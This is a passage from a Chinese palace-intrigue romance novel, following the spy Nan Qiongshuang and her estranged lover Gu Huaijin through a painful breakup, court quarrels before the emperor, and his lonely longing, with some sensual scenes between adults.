“你回答我。说不说!到底为什么,怎么回事!凭什么亲他,为什么亲他,你自己想要去亲他的?!见了面就亲了他?!那时候我还——” 他还,连“皎皎”两个字都不敢叫。 凭什么。凭什么凭什么凭什么。为什么。 如果是伎俩,他会想死。如果是爱,他会更想死。 “骗子。轻佻、自私、心狠、随意、花心、骗子!”他落着泪大骂,“初见他就亲了他!?你若爱他,我早就放手,何苦处心积虑骗我至此!亲他,你凭什么亲他!” “你知道我这些日子怎么过的吗!我有多想你!我想你!你日日去大明宫闲逛,我要见你一面,难如登天!我那么想你……那么想你……我不顾天山的事想你想得发 了疯,我图什么!你凭什么!你们两个究竟凭什么!还不如一齐死了好……负心的东西,早点死……” 身下人不答,始终、始终、始终,不答。 小舟摇得左□□斜,几乎沉没,湖水一波一波拍击船身,舟内铃响如狂风刮过高树,舟中沉喘、闷哼、高呼、惊叫交叠纷杂,只是谁也不吐字,谁也不说话了。 终于,一声尖利的猫儿似的哭叫,捣臼中花瓣碎得不成样子,花液四溅,染得捣臼四壁一片旖旎薄粉,舟内芬芳得叫人无从落脚,小舟的摇晃终于停了。 两人谁也没有说话。 沉默地各自披了衣裳。 心照不宣地,彼此背对。 南琼霜扶着船壁堪堪站起来,刚一起身,顷刻两膝一软,半分支撑不住,跪在地上。 顾怀瑾遥遥在门口站着,冷静自若地理袖摆,半步也未动。 他宽袍大袖,一身玄衣,一言不发地,绑上了那根黑色绸带。 南琼霜半点儿表情也没有。 她走去船尾那堆早摆在那的夜行衣旁——原本她应该换了这衣服回宫的——蹲下身,自衣服中的暗囊里,掏出了两颗东西。 脚步声一下一下,她走去他身侧,平摊开手掌,将那东西递给他。 顾怀瑾面无表情地垂首望了一瞬。 中间实、外圈虚,光一折射,流光溢彩。 是他当年,拿本命珠给她打的,那对耳环。 他控制不住地打着哆嗦。 “还给你吧。”她声音又轻又静,柔和得仿佛天山上夜风的低语,“重要之物,所托非人。” 所托非人。 月光寂静,水色滟滟,他回天乏术,只觉孤寂已极,闭了闭眼。 良久,他道:“确实所托非人。” 言毕,掀帘走了。 唯余竹帘在门口轻轻垂荡。 她定定望着他背影消失在竹帘后,知道他不会再来了。 那两颗晶莹剔透的珠子,却仍托在她掌中。 她将手掌合拢,倏地落了一颗泪。 重逢又如何。 擦身而过。从此擦身而过。 南琼霜不知如何是好。拨开竹帘,走出船外,透了口气。 抬眼一看。 洛京城中,张灯结彩,花灯满街,原是又一年七月初七,乞巧节。 第154章 琵琶大会那一夜过后,南琼霜孤身一人回了菡萏宫。 她不是不难过,虽然她并不肯哭。 既然这一切她早已料到,那就不要意外。既然这一切都是她要的,那就不要诉苦。 既然早知道一切不过是场美梦,梦醒时,就不要太自怜。 困在梦里的人比乞丐还可怜。 她知道自己会很快把他忘掉,就像当年。 南琼霜擅长失去。 只是,之后许久,她控制不住地出神。 有时,说着说着话,看着手里的瓜子就走了神。 有时提笔抄几个字,清涟在一旁替她研墨,她陡然从那墨中瞧见他的倒影,再一定睛,又不见了。 有时,到了入睡的时辰,她坐在床榻边,清涟远香两个将两侧床幔取下,她望着那紫藤色的纱缓缓披垂下来,忽然就听见他在身后低吟。 一声一声,压抑、粗重、喑哑的,低吟。 她现在很怕这种幻听。一旦听见,心烦意乱不说,梦里也没个消停。 那一夜,她同他说的所有话、做的所有事,她没有一点后悔。 唯有这一件。 明知坦白后便是今日这个结局,当日,她不该任由他索取。 ——太痛快了。 明明已经不该再纠缠,身体却纠缠得痴狂淋漓,人几乎死掉,等到回了菡萏宫,头脑都还是懵的。 那种近乎灭顶的感受,恐怕这一生,也难有第二次了。 要她如何忘掉。 她默然无言地转着手上莲花宫灯——这灯通体白玉雕成,八瓣花瓣拱合出一个开口的尖顶,在手中转动,光便从莲瓣的镂刻中筛出来,在她脸孔上悠悠兜转,她百无聊赖玩着,叹了口气。 忽然,一个声音自角落的阴影中化出来:“南琼霜。” 如今,雾刀再神出鬼没,她也不怕了。她兴致缺缺地将那灯搁在桌上,手一挥,叫清涟远香下去。 “怎么。” “跟姑奶奶回来述个职。”雾刀谄媚笑着,小眼睛眯起,如两把短小的镰刀,“再跟您报告报告定王府上的事儿。” “嗯,说吧。”她抱着双肩翘起脚。 “定王府那边,公孙红的嫌疑消了不少。如今定王满城抓那紫衣女子呢,画像告示贴了外头满墙,福余三卫挨家挨户地搜。小的把消息报回门内,门内已来了消息,说姑奶奶那半个任务就此算填补上了。” 他涎着脸笑,“您差事刚办完,小的就将消息报回门内了,您说,小的办差还算利索吗。” 她冷冷睨了他一眼。 从前那般神气,芝麻大点的事也要恐吓威胁她一番,结果落了点把柄在她手里,整个就变成了条赖皮虫。 她似笑非笑:“少废话,说事。” “哎,哎。还有哪,琵琶大会当日,定王府后厨走水,烧掉小半个院子。眼下定王那厮气得一佛出世二佛升天,王府内正闹腾呢。” 她撩着眼皮:“李崖办的?” 雾刀赔笑:“正是。” 她颔首:“替我跟人家道个谢。”忽然又想到:“公孙红怎样?” 当日,顾怀瑾出手救她,闹得那么大,公孙红定然是以为她同顾怀瑾串通好了,等着在大会上阴她呢。 雾刀:“气您呢,说要您好看。” 她揉着眉心叹了口气。 虽然想同公孙红解释,但此事关涉到顾怀瑾。她同顾怀瑾的关系,早已是纠葛难断、难以说清,若要解释,恐怕连她此行目的,都得对公孙红坦白。 一个同僚,几日友谊,还不够她推心置腹。 若要误会,也由她误会去吧。 “有一件事我想问你。”她又拿起桌上木梳,一下一下通着头发,“听说云瞒月在洛京城中待命,何处需要,便赶来增援。倘若我想叫她来,如何同她联系?” 雾刀阿谀笑意登时僵在脸上——往生门为防细作们彼此勾结,联合叛门,一向不许众人私下联络,全由教引们往来传信。但他,日日被她安排在定王府,不在她身边。 雾刀搔搔头:“姑奶奶,您问这个……” “有时我需要云瞒月。”她叠着双腿,“还是说,你想叫门内听着点什么东西?” 雾刀挠着颧骨,汗涔涔地看她。 她居高临下,手里一把木梳,食指好整以暇地从第一个茬摸到最后一个茬,挑了挑眉。 雾刀终于弯着眉毛道:“您去棋盘街玲珑棋社内,寻一个名为吕薄的伙计,那就是咱们上头的线人。您去同他说,请调云瞒月,门内若允,就会给您派来。” “如此。”她支颐坐着,“好。倘若我日后……” “姑奶奶。”他突然打断,“您该不会对那云瞒月有何非分之想吧?” 南琼霜登时剜他一眼。 雾刀顺从闭了嘴巴。 她将那木梳往桌上没好气一扔,啪嗒一声,“没事了,你下去吧。” 雾刀喏喏应着,直着膝盖站了起来,屋内登时被他映出一座巨山般的影子,投在她脸上。她心念一动,忽然追道:“等一等。” “姑奶奶还有吩咐?” “我想再见见那李崖。他在定王府内,说不定日后有事可以求他。你去定王府,同他带个消息,就说,明日,我趁他外出采买,同他当面道个谢。” 第二日,南琼霜披上披风,戴上白纱帷帽,用李玄白给她的那块出宫令牌,出了宫。 直奔菜集。 李崖在定王府上,领的是厨子的差事,一日要出去采买两回。没有公孙红的照应,定王府她进不去,府外相见,最容易、最自由。 李崖正在一间肉铺前等她。 当是时,正是早上卯时,集市上行人纷纷、摩肩接踵。清晨的空气新鲜沁鼻,路上叫卖声、吆喝声不绝,刚摘下来的新鲜的瓜果,大喇喇摊在地上,浑圆鲜艳。 南琼霜一抬眼,便见那垂挂着大半扇红彤彤猪骸骨的肉铺前,李崖提着两串褐红血肠,眉飞色舞地同那屠夫砍价。 她低着头径直撞过去。 李崖正说得起劲,唾沫横飞,忽然给人一把撞在身上,登时恼了,手中铜板稀里哗啦往那屠户手里一抖,抓着她的胳膊便喊:“你他娘的瞎了眼了!撞了人还想走,老子今儿同你没完!” 一边说,一边扯着她,将她拉走了。 那屠户气急败坏地在身后吆喝:“哎,哎,谁准你自个儿抹零了!回来!回来!” 两人头也未回。 疾走开几步,绕过一个弯,李崖松开她的胳膊,沉着声音:“南姑娘。” 南琼霜四下瞥着,这条路上,行人渐稀,再无人紧跟着脚挨着,便道:“今日我来,是想同您道个谢。” 李崖颔首:“小事一桩,您何必亲自前来。” 南琼霜略微笑笑,扶了扶帷帽。 今日她来,自然不是真为了 同他道谢,而是为了再见见这位赎了身的同僚,仔细瞧瞧,他身上是否有何异常。 往生门门风诡谲,也许明面上将人放了,背地里施展邪术控制人心智,也未可知。 她道:“李兄赎身之后,日子过得还好么?” “哎呀,赎了身可比在门内卖命舒服多了。”李崖感慨一声,“在门内,日日把脑袋吊在绳子底下干活。赎了身,定王再暴戾,只领个小差,掉脑袋,也掉不到咱们头上。” “确实如此。我们这些人,被大风大浪折磨惯了,什么刺激之事也无兴致,只想找个安分差事,过几天平静日子。” “正是,正是。”李崖颇为感慨望她一眼,今日她容貌掩在帷纱后,真叫他自在了不少,不必战战兢兢,连话也多了,“总有人说,我们这些人的本事啊,若肯从个军、做个幕僚,没一个不会出头的。可是,咱们这些人,哪还会求出头。跌宕了半辈子,就想安生安生。” 南琼霜含笑不语。 “李兄身子如何?当年旧疾……” “好多了,几已痊愈。人呐,只要精神头好,身子骨没有差的。” “听闻您当年办差时曾不慎中了蛊虫,”她带点意味深长的笑,“如今,也无大碍了?” “后来办差时遇上了一个巫医,名为鬼祝,经他看好的。如今已完全好了。” 巫医鬼祝。 这名字,她熟悉。当年顾怀瑾为救她,打破山规强开藏龙池,为此挨了七十鞭子…… 她忽地心里一梗,想不下去了。 那时,她为给他治伤,编了个由头解释她缘何通晓些医术,用的便是这鬼祝之名。 “巫医鬼祝,当真有这个人吗?” 李崖讳莫如深地点头:“神龙见首不见尾之人,然而当真是奇医,妙手回春。” 她隔着牛乳白的帷纱,默然不语,再度从头到脚将人打量了一遍。 实在是没瞧出任何异常。 面色红润,眼神清明,闲谈时话也接得自如,每一句都答得自然,半分痴傻之态也无。 至于身子,看起来亦是正常不过。 她上上下下地打量,终究没瞧出什么异常来,悬起的心缓缓放下,颔首:“既然李兄过得不错,我们这些昔日同僚,也就安心了。我宫中仍有差事,不便擅离,来同李兄道过了谢,便先回宫了。” “您千万莫耽误了正事。”李崖拱手,“往后定王府中若有什么事,门内人手转圜不开,南姑娘尽可来寻我。” 南琼霜闻言,本已转身欲走,忽地又顿住脚步,若有所思地,抬起眼帘。 “尽可来寻我”? 往生门内,人人利己,与自身差事无关的事,谁会上赶着沾染。何况,他已经离了门,赎了身。 好不容易脱了身,不该明哲自保吗? 她回身,隔着帷纱,深深看进他眼睛里去。 李崖却不躲不闪,半分心虚忐忑之意也无,从容如常地同她作揖:“您快请回吧。” 南琼霜默然,眼睛掩回层叠的白纱之后,叫人瞧不清晰:“如此,真要多谢李兄的热心肠了。不过,还有一事想要问您。” “京中局势动荡,不知哪日便会忽然变了天。我孤身一人办差,实感无依,不知李兄可否还有相识的赎了身的同僚?若有,能否介绍一二,若有什么事,也好多借一把力。” 李崖想了片刻:“确实有的。有一人已经赎身三年,如今正跟着京中一个戏班子,满京城唱戏呢。” 南琼霜笑:“哪个戏班子?” “名为彩庆班,专唱昆曲的。” 南琼霜笑吟吟颔首:“那么,真要感谢李兄了。” 同这李崖见完,她便回了宫。 因着忙琵琶大会的事,她已久未去嘉庆帝面前说话。毛琳妍自从笑乐园内为嘉庆帝舍身求情,便格外得嘉庆帝青眼,这些日子又无人同她相争,一来二去,荣宠日盛。 嘉庆帝赏的奇珍异宝流水似的进了她景仁宫,御用监的好东西也一波一波地往里送,就连南琼霜在宫外办差,都已听得民间“只闻景仁日隆,不闻菡萏花残”。 眼看着,菡萏宫中新送来的花愈发惨败灰萎、枯枝少叶,南琼霜心中再不耐,也晓得,是时候拢拢那喜新厌旧、无心国事的疯子皇帝了。 她终于去了紫宸殿。 这些日子,明知失了宠,早该去紫宸殿内卖弄笑靥,然而一拖再拖,始终不情愿去。 一来,是她对嘉庆帝实在无半分情意,无非耐着性子哄他。 二来,是嘉庆帝身边,常常有那人陪同。 自从琵琶大会那一夜过后,她已许久未曾与那人当面相对。即便在宫禁中碰面,也不过远远相逢。未等照面,两人中的一人,往往便拐了方向,心照不宣,背道而行。 其实在她心中,他们两人断得算和平,至少在她一方,心中并无怨怼,不至于如此避如蛇蝎。 可是,或许他不这样想。 大概他是真的怨,真的恨。 知道他大概不愿见她,她也不愿上赶着往他面前凑。 只不过,差事在身,有些事她不愿也得愿。 她还是硬着头皮去见了嘉庆帝。 七月的天,酷暑难耐。她站在紫宸殿檐下的阴凉里,掏出一方帕子拭去鼻尖粉汗,大太监王让掀帘进去禀报,片刻,王让出来,躬身往里请:“皇上让娘娘进去哪。” 她颔首,刚跨过紫宸殿高高的门槛,便听见里头一道她再熟悉不过的,清润而沉雅的人声。 她心里兀地一紧,揪着裙摆顿了顿,肺腑间一股烦躁升腾起来,她强压下去。 见了又能怎样,有什么好怕,他又不会吃人。 她举步行入。 那声音在高阔的大殿内幽幽回荡:“顾某查阅了宫正司当年旧案,又审遍了当年关涉之人。只是时日已久,当年的宫女许多已出宫婚配,说是审遍,证人也并不多。若要再审,恐怕还得多需些时日。不过……” 她自花鸟金屏风后垂首显出身形,那人的话音顷刻断了。 她一颗心随着他的沉默吊起来。 嘉庆帝抬首,大老远朝她伸出手:“德音,这些日子总不见你,快来。” 那人不置一词地远远看着。 如今,她不必看他,也知道他在何处,也知道他在看她。 她堂而皇之地,当着他的面,走到另一个男人身边,躬身行礼:“皇上万福金安。” 顾怀瑾挪开了视线,垂首饮茶。 “快来,快来。”嘉庆帝接过她的手,引着她依偎在自己身侧,“前些日子,听说你迷上了琵琶?练得如何了?” 她没想到这些日子不见,嘉 庆帝待她竟也不见冷漠,顺着他的势柔柔倒在他身上,眉眼弯弯:“德音哪里是有长性的,喜欢了几日,就不喜欢了,眼下已经扔进了库房,搁着落灰呢。” “你呀。”嘉庆帝忍俊不禁摇着头,在她鼻尖点了点,“凡事就只是玩玩。玩完,就扔了。” 顾怀瑾忽然搁下了茶杯,撩摆起身:“皇上要务在身,顾某不便叨扰。常太妃一事,改日顾某进宫,再与皇上详议吧。” 说罢,推开椅子便行礼欲走。 “先生,先生!”嘉庆帝急着伸手挽留,“寡人今日无事,先生留步。我母妃的事拖不得,还请先生留下详议。” 顾怀瑾默然不语着回身,玄衣大袖,人如焦黑的荒山般压抑。 南琼霜知道他在注意她,虽然她未抬头,他未摘绸带。 他的在意像暴雨前潮湿的空气,看不见摸不着,但裹得她浑身沉重,惴惴窒息。 可是,她又有一丝得意。 她若无其事地去牵嘉庆帝的手。 顾怀瑾站在原地,克制地不去望她,良久,终于对上嘉庆帝焦急脸孔,缓了片刻:“皇上不是同娘娘有体己话要说么。” “体己话何时不能说!”嘉庆帝急慌慌一拍桌子,朝顾怀瑾心急火燎地招手,“先生快请坐。寡人再如何昏聩无能,也不至为美色失智!” 一番话,说得顾怀瑾更加沉默。 南琼霜未看他,望着嘉庆帝,似笑非笑地将鬓角碎发掖到耳后去,落在他眼里,多少带点挑衅之意。 他当即打定主意,复又落了座。 坐在两人对面,他自觉比从前更加冷漠,沉着脸喝茶,心里决定不论她同谁亲近,他再不会在乎半点。 他等着瞧她失落。 她却接过了嘉庆帝手中一个玩意,翻来覆去地摆弄:“这是什么?” “鲁班锁。难解的玩意,朕摆弄了半日,也未解开。”嘉庆帝环着她的肩膀,由着她委在自己身子和身后软枕的夹角里,回首朝着她笑,“朕同顾先生有事要议,你先自己解解闷。” 她一颗心全扑在那鲁班锁上,心不在焉地点头。 顾怀瑾忽然笑了一声:“鲁班锁繁琐复杂,娘娘解得开么。” 南琼霜绝没料到他会当着嘉庆帝的面主动同她讲话,开口时舌头在口腔里绊了两下,强装惬意:“先生怎知我解不开?” “便是解得开,”他一哂,呷了口茶,“娘娘有解开的耐性么。” “先生怎知我没有?”她腾地一下坐起身,挺直了背。 “顾某瞧着,您可不似解得开的样子。”他淡声讥讽,“想必,该是玩了两下,便以没长性为由,转头扔了。” 她简直想不通他当着嘉庆帝的面,嘲讽她解不开一个鲁班锁,究竟是何意。 是得知她同李玄白亲过,咽不下这口气,有意给她难堪? “娘娘什么不扔啊。”他慢条斯理地感慨,缓缓叹息:“那把紫檀木打造的琵琶,便是一手精妙技艺的曲欢姑娘,也无福试用。娘娘倒好,拨了两天,扔进库房落灰了。可知琵琶不可受潮,多雨季节,更加不能入库?还是娘娘不在乎?抑或是,”他笑了一声,咽下一口苦茶,“我齐宋,国库充实太过,叫娘娘无半分惜物之心?” 南琼霜难以置信地与他对望,不知他夹枪带棒地同她吵什么。 嘉庆帝更是难以理解,与她大眼瞪小眼相视一瞬,想开口劝阻,话到嘴边,终于住嘴。 他自顾自往下说:“若不惜物,没长性,玩心重,趁早远离了珍贵物件,免得平白糟践东西。反正最后也是要扔,何必拿好的叫你糟蹋?你就全扔罢,尽数扔下,等到国库真空了那一日,您就晓得您今日造的什么孽了!若是——” “先生。”嘉庆帝倾身,面色关切,“先生,您怎么了?” 顾怀瑾流弹般的话终于断了。茶盏掐在手里,捏得虎口都抻得薄了,淡淡泛着白,胸口一下一下连着起伏,他灌了口茶,强压下心头火气。 “无妨。只是才同您提及,近岁国库空虚,定王那边又刚封了爵,讨禄米已讨了五六回,再见如此浪费之举,实难忍耐。” 他嗓音已经平静得仿佛公事公办:“方才说过,充实国库,无非开源节流。如今官制冗余,正该合并职效相类之部、裁减冗杂无用之辈。但除去在外节流,宫中亦该以节俭为风。是以娘娘此举,着实不该。” 南琼霜见他七拐八拐地指桑骂槐,最后还给落在这么一个冠冕堂皇的名头上,气得简直笑了。 刚欲回头去望嘉庆帝脸色,嘉庆帝转过来一张诚挚面孔:“先生说得对啊。” 她气得脑子里嗡一声,将那鲁班锁往桌上一丢。 “那就按先生说的办。裁减冗员,大行节俭之风。” 顾怀瑾:“六宫月银也需减去一些,以上行下效。” 南琼霜气得长嘶了一口气,面上强装着平静无波。 顾怀瑾愉悦望着她不虞神色。 不是牵手吗?牵啊。不是靠着吗?靠啊。 负心的、没良心的东西。 玩心重、没长性。 她也有脸说! “那好,往后我没银子了,若缺银子——”她倏地推椅起身,起了身,才想起当着嘉庆帝的面甩脸色,着实不该,但也无路可退了,“往后我缺银子,便从大明宫出。反正表兄在大明宫内,顾先生再想拦,也拦不了我什么。” 顾怀瑾一口茶登时呛进嗓子里,按着胸口猛咳一阵,惨白着脸色,直不起腰。 “德音!怎么好如此任性,顾先生说的在理!”嘉庆帝登时昂起头瞪视她,“快同顾先生赔不是!” 南琼霜仿佛头上顶了紧箍咒,怒气冲冲地抽气,死也不肯开口。 若是平时,为了差事,她什么都能忍下。但是,他给她受的气,她就是无论如何不想忍。 谁都可以给她受气,就他顾怀瑾不行。 她在原地发着抖急想片刻,眼珠一转,两行泪骨碌碌从眼底滚下,她抽噎着捏帕子拭泪: “臣妾不过是玩了几日琵琶,没等学成,放回库中而已,何至于给臣妾扣什么蛀蚀国库的高帽!也就是表兄不在,先生才敢如此给我受气——” 她通红着眼睛瞪他。 顾怀瑾当即仿佛被人卡住喉咙,什么刻薄之辞也没有了,只是心灰欲死。 她哽咽着,“待我去寻表兄评理,反正,就算人人不站我,表兄也会站我!” 说罢,垂着泪掩面跑了。 偌大的空旷的紫宸殿内,一时无声。 嘉庆帝坐在殿内,不知为何,隐约觉得自己成了个被排除在外的人。 其余两人,吵得莫名其妙,哭得莫名其妙,他想弥合,两人却明面之下自有一套交锋,而他,进不去,也听不懂。 他惊疑望着对面的人。 顾怀瑾缚着绸带,仍是瞧不出任何情绪。可是,今日,他却觉得,往常高山一般难以仰望的人,内里经历了一场不为人知的山崩。 第155章 “反正,就算人人不站我,他也会站我!” 顾怀瑾做梦也没想到,这句话从她嘴里出来,他成了那个“人人”。 有朝一日,她身边有了一个不论如何都并肩的人,而两人同仇敌忾鼎力对抗的,竟然成了他顾怀瑾。 她当真要同那姓李的一道对付他吗? 顾怀瑾简直不敢想。 夜已三更。府内人语声俱绝,路旁灯盏俱已灭了,唯他院中花园内错落着几座石灯,各自幽暗明灭。 清朴典正的顾府,一片死寂。 顾怀瑾独自一人立在窗前,卸下了绸带,负手往外远眺。长安街与皇城一墙之隔,举目一望,明黄琉璃瓦在夜色底下黯淡,一片片接连着相衔,连到天际。 那片金黄 海浪的某一个波涛底下,就有她。 或许在安睡。 睡得安稳吗? 怕她睡不稳,但一想到或许她酣然睡下,心里又恨。 他半分也睡不着,连着几夜几夜地睡不着,倘若她睡得好,凭什么。 ——“反正不论谁不站我,他都站我!” 他脑子里嗡嗡作响,头痛欲裂,一个恍惚,撑着墙扶住了额头。 这种话,她竟然也说得出来。到底是谁真对她好的,是谁一心一意向着她的,这么多年,眼珠都不错地呵护爱护,她一夕之间就弃如敝履,人家给一点好,她就挂在心头念上了! 他为何小题大做,为何拿话呛她,她真不懂吗?! 何至于……何至于红着眼睛落着眼泪同他喊。 哭什么,她同那姓李的亲过,还不准他恼吗? 哭什么。 他麻木绕去桌前,衰疲地拉开椅子坐下,缓缓用手捂住了脸。 哭什么。 竟然有一天,他将她说得哭了。 他做梦也没想过,有一天,叫她伤心的人是他。 别哭了,他想。 如果去哄她,她会准吗。 很想见见她,哄哄她,亲亲她,跟她说他言重了。 可是,眼下他们这样的关系,他真的还能去吗。 是他亲口说的,他们不能在一起。 他悠长、悠长地抽了一口气,良久,筋疲力竭地吐出。 恩断义绝、一刀两断。 道理总是知道得容易,贯彻得难。心比头脑难驯服,头脑明事理。 心敌我不分。 明明放过自己,他才能活下去,可是,他几乎被自己的心逼死了。 其实,那句豪言出口的一瞬,他就知道自己大难临头。这种话,讲起来豪迈,但代价哪里是他承受得了的。他逞一时英雄,图一时聪明,转头就把自己害入了水深火热之地。 以致今日,逞强也无法,示弱也不是,进退维谷,左右为难。 他头愈发隐隐作痛,仿佛有人拿了一根长铁钉,撬进他颅骨,另一头拿铁锤梆梆梆地敲,敲得他牙关震颤、神魂俱碎。 真的该爱她吗,她倾覆了天山。 可是不爱她,他哪里说了算呢。 为什么他会爱一个仇人,一个细作,爱得发了狂呢。 这么放了手,等到她一点也不爱,他—— 他不敢想。 为什么条条路都不通,条条路都给他堵死了。门派已倒,无半分转圜之地,他苦等了五年的人是个轻佻的负心的细作,他保门派不得,保爱人也不得,两头苦求两头悲望,两头求不得,两头不着岸。 人生何以苦痛如斯。 他沉默着垂泪,坐上床榻,掀开衾被。 将榻上她的旧衣裳拿过来,抱在怀里。 她在四象塔上穿过的旧衣。 太可笑了,他人生至今所有灾厄,全是拜这个女人所赐,可是,走投无路之际,他含着泪想到的,竟然还是这个人。 空空荡荡的白衣,被他拥得紧了,软萎在他怀里,像一个被扼死了的无力的幽灵。 依稀带着她颈间的软香。 他慰足地低低喟叹,阖目深吸,贪婪又痴然。 爱究竟是什么东西。她伤他最深,但她一件旧衣裳,还是给他慰藉。 他对自己的无耻和软骨已经见怪不怪,波澜不惊。 “乖乖。”他喃喃地念。 无人应答。 “乖乖。”他又念了一遍。 依旧一片死寂。那身白衣是四象塔上她的幽灵,那个温柔、娇俏、爱撒娇、时时带点狡黠的她的幽灵——可是幽灵不说话。 他薄红的泪掉落两颗,很快洇开了,他想拭去都来不及。 他遂垂睫放肆地吻。 密密地、轻轻地连吻。仿佛她在,仿佛吻的是她的肌肤,仿佛她纵容且享受,像她从前那般。 他陶醉而沉溺。 是啊,她穿着这身衣服的时候,还整日甜着嗓音唤怀瑾呢。 短短几日。 他低低地笑,喷出两行红泪。 又慌张扭过头,怕她的衣裳沾染上。 他到底耍的什么威风?门派已倒,正如人死不可复生,他怎么竟为了亡者对故人放了手,他苦捱了五年等得几乎发了狂的故人——闹得现在,人在眼皮子底下,却界限分明,见了他仿佛没看见,看见了,也红着眼睛针锋相对。 早知如此,无量山上,是否放了她比较好? 他已经不清楚,是看着她再度游逝于掌心来的痛苦,还是日日相见却毫无瓜葛更痛苦。 他自视太高,此时才知无法毫无瓜葛。 他将那衣裳铺在枕上,伏身缠吻。 外头打更声响了。深邃的夜,孤寂的影子,孓然一身在青紫色的夜幕里穿梭,脚步声依稀。 还带着一点声响。 一点叮铃铃的响动,许是打更人挂在腰上的钥匙。 他病发一般想起了那金铃。 金铃的声音,自那一夜以来,久久在他脑海中盘旋不去。昼也响,夜也响,清醒时也响,做梦时也响,碎碎泠泠,叮叮当当,伴着她一声一声缠绵的告饶哀呼—— 怀瑾——怀瑾——怀瑾…… 他受不了,焦渴燥热,连连喘着,解开了腰带。 仙女湖舟上那一夜,快彻心扉,酣畅欲死,他浑身骨头都酥得仿佛被虫蛀空,轻轻一动,稀里哗啦地往下流碎末。 他日日夜夜、反反复复地回想。 那晚太傲慢,憋着一股火起身走了,眼下才知悔恨。当时不肯多要几次,现在再想,又有谁可怜你?她那般有主意的个性,怎会由你胡来? 他简直不知如何是好。 他这一生,最痛苦和最欢愉,全是她给的。蚀骨之爱和锥心之痛,自厌之渊和快感之巅,全都凭依于她一己一身。她想抽身而退,或许是想成全他,可是,哪里有那么容易,她早已是动动手指就能令他痛的一个人。 他五指收紧,学着她往常的方式推拿,又无可奈何地发现,他这东西,早被她惯坏了。 想同她翻脸,却发现,他自己的一部分不肯认他。 他无可奈何仰在枕上,拿过她的衣裳覆在鼻尖,手上攥得那衣裳一团凌乱,一面抚摸下去,急切安抚。 半阖着眸子,他迷醉地、恍惚地想。 小心些,别弄到她衣裳上了。 睡得晚,醒得却早。今晨不知什么时候才合了眼,到了寅时,鸡还没叫,他又惊醒了。 天色漆黑,毫无睡意。 他早早起身更衣,打算入宫。 嘉庆帝是不上早朝的,素来晏起贪睡。不等到嘉庆帝起身,他不论如何没有由头见她。 他算着时辰,捱着时辰等,头脑又重又涨,仿佛塞满了泡了水的棉花。 生生熬到巳时。 他终于得以入了宫。 一路阳光晴好,可惜再好的太阳晒在他身上,也同他没关系,他浑身发冷,候在紫宸殿外,叫守在门口的王让往里通报。 王让抬眼皮,小心瞧了他一眼,吓得往后撤了半只脚。 他冷声问:“怎么?” 王让哈腰:“哎唷,先生昨晚是否没睡好啊?您瞧您这脸色,得小心自个儿身子啊。” 他不耐:“少废话。滚进去通报。” 王让似有为难:“先生,珍妃娘娘在里边儿呢。” 昨日两人一场不快,珍妃娘娘落着泪一跺脚走了,今日便传得阖宫皆知。娘娘与先生皆是皇上跟前儿最最要紧的人,这两人看不对眼,谁敢叫两人往一块凑? 顾怀瑾只一挑眉:“那又如何?难道女色在侧,皇上便要将太妃之事置之一旁?滚进去。” 王让不敢忤逆,连声应着去了。 他站在门外,不自觉地摇摇晃晃,堪堪撑着墙,稳住身形。 来见她干什么。就算见了她,还能说什么。说什么能有用,还有机会说吗。 他不知道。所有的一切,他都没想好,浑浑噩噩地就来了。 不知道怎么办,就先来见见她。 看一眼也好。 不多时,王让拨开殿门前的玛瑙珠帘,躬身相请:“先生,皇上要您进去哪。” 紫宸殿内,她正和嘉庆帝相对而坐,桌 上一盘棋,黑白交杀,错杂纷乱。 她今日一袭天水蓝的外裳,孔雀蓝绣花长裙,臂间一根景泰蓝丝缎披帛。深深浅浅的蓝迤逦在地上,瀑布般的青丝垂挂着金丝珠链,明灭着没入发间。 面朝着棋盘,捻着棋子,犹自不动。 他知道是她,也知道她知道是他。 但她不回头。 蓝色真衬她。 顾怀瑾吞咽了一下,走去她身侧不远处站定。 并未贴近半分,身上已经噼啪过了电,一直麻到腰身之下。 他强稳心神。 “顾某给皇上请安。” 南琼霜背对着他垂首坐着,指尖搓着枚白子,搓得心烦意乱。 不知为何,他只要在她身旁一站,她整个人便被他波及,仿佛他是个要将一切卷入的漩涡,她轻轻碰个边,就逃不开。 他昨日还没事找事,当着皇上的面讽她来着。 一想起昨日的事,她便气,低头一看,她的发丝在殿内的过堂风中轻轻摇着,并且似乎——是往他的方向招摇的。 她心里一惊,啪一声把那白子丢入棋盒。 嘉庆帝看了她一眼,抬手叫顾怀瑾起身,对她道:“珍妃,见了顾先生,连句话也没有?先生是朕敬仰依赖之人,连朕都不敢失礼,你怎么这样没规矩。” 南琼霜一凛,心知是昨日得罪了顾怀瑾,嘉庆帝怕他撂下挑子不干,上赶着笼络他,遂缓缓起身,转过来微微一拜: “顾先生。” 虽则是彼此相对,可是不情也不愿,头也不抬眼也不睁,仿佛连瞧他一眼都懒得瞧。 他隔着绸带,静静望着她。 她固执地不肯抬眼对视。 顾怀瑾忽而觉得这一切很荒唐。 嘉庆帝为她不肯问安而斥她,他哪里知道,他们两个人,是谁巴巴地来求。 他来求了,她肯赦吗? 声名煊赫的人低三下四,福身行礼的人高高在上。 没人知道他在她面前穷途末路。 他喉结滚动:“娘娘不必多礼。顾某一介微身,娘娘乃一宫之主,顾某怎么好受娘娘的礼,皇上言重了。” “是臣妾的不是。”她终于还是没看他一眼便转回身去,朝着嘉庆帝行了个规整的全礼,话说得利索: “昨日同先生起争执,是臣妾一过;负气离去,是为二过;打了把名贵琵琶又弃之不用,奢靡无度,是为三过。臣妾知错。方才求皇上引戏班入京一事,请皇上万勿入耳。臣妾自知有愧,不敢奢求。” 说完,含着眼泪又行了一回礼,捻着帕子拭泪:“臣妾回菡萏宫思过去,请容臣妾告退。” 嘉庆帝听她低声下气一番话,心内欣慰,挥手将她斥下。 他期待又满意地望向顾怀瑾。 顾怀瑾面色更加苍白几分。 他不明就里,心中惶恐:“先生……” 顾怀瑾背对着她。即便他背着身,蒙着绸带,他仍是知道,她视他不见,擦肩而过,一路往殿门口缓行。两人越来越远,她的香气越来越飘渺,她出去了,云淡风轻。 顾怀瑾强撑着身形,只庆幸今日入宫缚了绸带,泪全兜在绸子里。 无情无义的狠心的人。 * 南琼霜今日到紫宸殿来,原是为了央嘉庆帝请彩庆班进宫唱戏。 没想到,才说了两句,就碰见了那人。 昨日他才给她扣了浪费无度的高帽,她不必提,也知道当着他的面,彩庆班是定然进不了宫,于是干脆不提了,脱身出来。 她径直去了大明宫。 李玄白刚刚下朝,朝服未更,坐在殿内忙里偷闲喝了盏茶,刚打开折子,便见吴顺引了她进殿。 